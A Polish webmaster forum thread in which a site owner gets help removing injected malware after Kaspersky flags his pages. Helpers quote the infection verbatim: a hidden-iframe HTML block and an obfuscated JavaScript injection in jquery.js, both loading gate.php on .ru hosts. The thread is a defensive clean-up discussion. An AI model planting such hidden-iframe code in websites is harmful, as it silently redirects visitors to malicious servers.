wirus na stronie

[pos-er]

Witam. Koledzy pomocy!

Ostatnio jeden z katalogów odrzucił mój wpis ze względu na wirusa. Nawet nie wiedziałem że go mam. NOD nic nie alarmował o wirusie na stronie, narzędzie dla webmasterów też nie. Moderator katalogu który odrzucił wpis ma kaspersky antywir. Odinstalowałem noda i zainstalowałem kaspersky. Faktycznie ten monituje o wirusie. Tylko nie potrafie nic z tym zrobić, przenosi go do kwarantanny ale nie leczy.

Prawie na wszystkich plikach znajguje takie coś HEUR:Trojan.Script.Iframer

Szukałem już na forum ale nie mogłem nic znaleźć. To znaczy znalazłem ale to nie rozwiązało problemu. Prosze o pomoc ewentualnie o link z forum bo być może przoczyłem temat.

Z góry dzięki za pomoc. Pzdr

[525]

Usuń recznie kod wirusa z plikow, przewaznie zapisuje sie na koncu kodu. Zmien hasla do serwera.

[zakręcony]

adres strony

kasperski jest taki superancki, że nawet jak na stronie znajdzie informacje o wirusie, to zgłasza to jako wirus :]

[pos-er]

www.pos-terminal.pl teraz kaspersky tak wszystko blokuje że nie bardzo mam jak cokolwiek zrobić.

Faktycznie w kodzie strony jest ten dziwny kod. Usunę i zobaczę co się będzie działo.

[zakręcony]

Niestety dla Ciebie tym razem KAV sie nie pomylił

masz doklejone w kodzie

<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=https://avt0pidor.ru/gate.php?f=1097130   frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->

zmien hasło do ftp

wejdź na ftp

wgraj kopie plików, albo czyść ręcznie z tego kodu

jezeli badziewie weszło przez ftp, będziesz mial spokój

jeżeli przez dziurki w oskryptowaniu stronki, trzeba połatać

jeżeli przez dziurki w sofcie hostingu, będzie lipa

[pos-er]

Ok usunąłem kod i chyba jest dobrze ale przy wejściu na stronę kasper. pokazuje "wykryto przekierowanie do niebezpiecznego URL:https://zumobtr.ru/gate.php czyli chyba nadal jest coś nie tak?

[zakręcony]

teraz juz nie widać nic w kodzie, może masz w cache wersję jeszcze z kodem

[pos-er]

teraz jeszcze pokazuje w pliku script.js Trojan.Script.Generic

w tym pliku też był ten dziwny kod tylko zypełnie inaczej wyglądał

[zakręcony]

plików js juz nie sprawdzałem

[pos-er]

js tez już wyczyszczony i antywir nie wykrywa już żadnych wirusów ale nadal przy wejściu na stronę pokazuję się ten komunikat

"wykryto przekierowanie do niebezpiecznego URL:https://zumobtr.ru/gate.php"

Z tym można jeszcze coś zrobić?

[krzysiek_web]

Sprawdź dokładnie plik:

jquery.js

Tam "to coś" siedzi.

[pos-er]

Akurat w tych plikach mam najmniejsze doświadczenie:(

he he akurat ten plik nie jest do niczego potrzebny (pozostałość po wczesniejszych zmianach) więc go usunąłem i teraz jest już chyba dobrze.

Ten komunikat juz się nie oikazuje. U was też nie?

[zakręcony]

w pliku jquery.js

masz

/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='https://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/

scopiuj i jak znajdzie to wywal

na przyszłośc miej gdzies czysta kopie całości i jak cos Ci sie podczepi to nadpisujesz wszystko, zmieniasz haso do ftp, nie zapisujesz ich w programach i spisz spokojnie

[krzysiek_web]

Kod który został dolepiony na pewno się odróźnia od reszty... jest podane przekierowanie, może jakieś dodatkowe iframe.

edit// Kolega był szybszy.

[pos-er]

Tak teraz już wiem żeby mieć kopie gdzieś zapisane. Wielkie WIELKIE za pomoc dla wszystkich. Pozdrawiam

wielkie Wielkie PODZIĘKOWANIA oczywiście